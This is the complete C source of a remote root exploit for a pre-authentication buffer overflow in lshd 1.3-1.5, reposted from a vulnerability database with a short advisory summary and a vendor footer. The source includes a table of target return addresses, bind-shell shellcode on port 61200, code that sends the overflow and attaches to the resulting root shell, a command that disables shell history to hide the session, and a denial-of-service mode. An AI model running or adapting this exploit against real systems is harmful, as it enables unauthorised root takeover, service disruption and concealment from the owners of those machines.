// source: https://www.securityfocus.com/bid/8655/info
lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon.
/* m00-lshd22.c
*
* lshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru
*
* Binds shell on port 61200.
* Based on lsh_exploit.c by Haggis aka Carl Livitt // doris.scriptkiddie.net
*
* Available targets:
* SuSE 8.1 - LSH v1.4 (heap)
* RedHat 7.3 - LSH v1.3.* (stack)
* RedHat 7.3 - LSH v1.4 (heap)
* RedHat 7.3 - LSH v1.4 (stack)
* RedHat 8.0 - LSH v1.4 (heap)
* RedHat 9.0 - LSH v1.4 (heap)
* RedHat 9.0 - LSH v1.4 (stack)
* Mandrake 9.0 - LSH v1.4 (stack)
* Mandrake 9.1 - LSH v1.3.* (heap)
* Mandrake 9.1 - LSH v1.3.* (heap)
* Mandrake 9.1 - LSH v1.3.* (stack)
* Mandrake 9.1 - LSH v1.4 (heap)
* Mandrake 9.1 - LSH v1.4 (stack)
* Mandrake 9.1 - LSH v1.5 (heap)
* Mandrake 9.1 - LSH v1.5 (stack)
*
* Difference between heap and stack RET-addresses:
* Useing heap retaddr allows to bypass non-execute stack protection,
* but possibility of success exploitation is only about 30% :( cuz our
* data in heap doesn't have constant disposition.
* Stack r0cz ;D
*
* Testing:
* sh-2.05b$ ./explshd localhost 12
*
* lshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru
*
* [~] Connecting to localhost:22... OK
* [~] Waiting for lshd response... OK
* => SSH-2.0-lshd_1.4.2 lsh - a free ssh
* [~] Building and sending exploit buffer... OK
* [~] Sleeping...
* [~] Trying to connect to bindshell... OK
* [+] Shell spawned! w00t!!!
*
* uid=0(root) gid=0(root) groups=0(root)
* Linux localhost 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 i686 unknown unknown GNU/Linux
* 20:29:44 up 2:29, 3 users, load average: 0.04, 0.09, 0.11
*
* Greets to:
* - nerF security team // www.nerf.ru
* - LimpidByte // lbyte.sysdrop.org
* - priv8security (especially to wsxz =)) // www.priv8security.com
* - UHAGr // www.uhagr.com
* - ech0 // x25.cc
* - ppl from EFnet@m00sec and #nerf
*
* Authors:
* - Over_G // overg[at]mail.ru
* - d4rkgr3y // d4rk[at]securitylab.ru
*
* Released 29/09/03 // www.m00.ru
*/
#include <string.h>
#include <unistd.h>
#include <netdb.h>
struct
{
char *platform;
unsigned long ret;
int elen;
int nlen;
}
targets[]=
{
{ "SuSE 8.1 - LSH v1.4 (heap)", 0x0809f030, 1536, 1600},
{ "RedHat 7.3 - LSH v1.3.* (stack)", 0xbffff07c, 876, 726}, // tested on 1.4.2 rpm
{ "RedHat 7.3 - LSH v1.4 (heap)", 0x0809d620, 1536, 1600},
{ "RedHat 7.3 - LSH v1.4 (stack)", 0xbfffc710, 876, 726}, // tested on 1.4.2 rpm
{ "RedHat 8.0 - LSH v1.4 (heap)", 0x0809a9d8, 4000, 1024},
{ "RedHat 9.0 - LSH v1.4 (heap)", 0x0809a0ee, 876, 726},
{ "RedHat 9.0 - LSH v1.4 (stack)", 0xbfffc48c, 876, 726}, // tested on 1.4.2 rpm
// { "Mandrake 8.2 - LSH v1.4 (stack)", 0x00000000, 0, 0}, // non-exploitable
{ "Mandrake 9.0 - LSH v1.4 (stack)", 0xbfffc5b1, 876, 726}, // tested on 1.4.2 src
{ "Mandrake 9.1 - LSH v1.3.* (heap)", 0x809bc90, 3500, 500},
{ "Mandrake 9.1 - LSH v1.3.* (heap)", 0x809bc90, 3500, 500},
{ "Mandrake 9.1 - LSH v1.3.* (stack)", 0xbffff07c, 3500, 500}, // tested on 1.3.2 rpm
{ "Mandrake 9.1 - LSH v1.4 (heap)", 0x080a5660, 876, 726},
{ "Mandrake 9.1 - LSH v1.4 (stack)", 0xbfffc5cc, 876, 726}, // tested on 1.4.2 src
{ "Mandrake 9.1 - LSH v1.5 (heap)", 0x80a8540, 1536, 1600},
{ "Mandrake 9.1 - LSH v1.5 (stack)", 0xbfffe1cc, 1536, 1600}, // tested on 1.5.57 rpm
{ "Denial-of-Service attack", 0xdefaced, 3000, 500},
NULL
};
// linux x86 shellcode by eSDee of Netric (www.netric.org)
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc1\x31\xc0\x31\xdb\x50\x50"
"\x50\x66\x68\xef\x10\xb3\x02\x66"
"\x53\x89\xe2\xb3\x10\x53\xb3\x02"
"\x52\x51\x89\xca\x89\xe1\xb0\x66"
"\xcd\x80\x31\xdb\x39\xc3\x74\x05"
"\x31\xc0\x40\xcd\x80\x31\xc0\x50"
"\x52\x89\xe1\xb3\x04\xb0\x66\xcd"
"\x80\x89\xd7\x31\xc0\x31\xdb\x31"
"\xc9\xb3\x11\xb1\x01\xb0\x30\xcd"
"\x80\x31\xc0\x31\xdb\x50\x50\x57"
"\x89\xe1\xb3\x05\xb0\x66\xcd\x80"
"\x89\xc6\x31\xc0\x31\xdb\xb0\x02"
"\xcd\x80\x39\xc3\x75\x40\x31\xc0"
"\x89\xfb\xb0\x06\xcd\x80\x31\xc0"
"\x31\xc9\x89\xf3\xb0\x3e\xfe\xc0\xcd\x80"
"\x31\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31"
"\xc0\x41\xb0\x3e\xfe\xc0\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x8b\x54\x24"
"\x08\x50\x53\x89\xe1\xb0\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80\x31\xc0"
"\x89\xf3\xb0\x06\xcd\x80\xeb\x99";
struct hostent *hostSct;
char buf[0x7a69]="\0";
main(int argc, char **argv)
{
int sock,ch,i,ss,targetSock;
unsigned long *retPtr;
char *charRetPtr;
int port = 22;
printf("\nlshd 1.3-1.5 remote root exploit by m00 security // www.m00.ru\n\n");
if (argc < 3) {
printf("Incorrect parameters. Usage: %s <target host> <target type> [port (22 default)]\n\nWhere 'target type' is:\n\n",argv[0]);
for(i=0;targets[i].platform;i++) {
printf("\r%i %s\n", i, targets[i].platform);
}
printf("\n");
exit(0);
} else {
ss = atoi(argv[2]);
if(argv[3]) { port = atoi(argv[3]); }
}
if((hostSct=gethostbyname(argv[1]))==NULL) {
printf("[-] Couldn't resolve host %s\n", argv[1]);
exit(1);
}
printf("[~] Connecting to %s:%i...", argv[1],port);
if((targetSock=connect_to_host(port))==-1) {
printf(" failed\n");
exit(1);
}
printf(" OK\n");
printf("[~] Waiting for lshd response... ");
recv(targetSock, buf, 8095, 0);
printf(" OK\n");
printf("=> %s",buf);
printf("[~] Building and sending exploit buffer...");
retPtr=(unsigned long *)buf;
for(i=0;i<targets[ss].elen;i++) {
*(retPtr++) = targets[ss].ret; //RET
}
for(i=0;i<targets[ss].nlen;i++) {
*(retPtr++)=(unsigned long)0x90909090;
}
charRetPtr=(unsigned char *)retPtr;
memcpy(charRetPtr, shellcode, strlen(shellcode));
*(charRetPtr+strlen(shellcode))='\n';
send(targetSock,buf,strlen(buf),0);
close(targetSock);
printf(" OK\n[~] Sleeping...\n");
sleep(1);
printf("[~] Trying to connect to bindshell...");
if((sock=connect_to_host(61200))==-1)
printf(" error\n[-] Could not connect to %s:61200 - exploit failed\n\n", argv[1]);
else {
printf(" OK\n[+] Shell spawned! w00t!!!\n\n");
send(sock,"export HISTFILE=/dev/null;id;uname -a;uptime;\n",46,0);
get_shell(sock);
}
exit(0);
}
int get_shell(int sock)
{
fd_set rfds;
int retVal,r;
do {
FD_ZERO(&rfds);
FD_SET(0, &rfds);
FD_SET(sock, &rfds);
retVal=select(sock+1, &rfds, NULL, NULL, NULL);
if(retVal) {
if(FD_ISSET(sock, &rfds)) {
buf[(r=recv(sock, buf, 8095,0))]='\0';
printf("%s", buf);
}
if(FD_ISSET(0, &rfds)) {
buf[(r=read(0, buf, 8095))]='\0';
send(sock, buf, strlen(buf), 0);
}
}
} while(retVal && r);
close(sock);
return 1;
}
int connect_to_host(int port)
{
int sockt;
struct sockaddr_in saddr;
if((sockt=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
return -1;
memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
saddr.sin_family=AF_INET;
saddr.sin_addr.s_addr=*((unsigned long *)hostSct->h_addr_list[0]);
saddr.sin_port=htons(port);
if(connect(sockt, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
close(sockt);
return -1;
} else
return sockt;
}
// m00000000000ooooooooooooooooData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation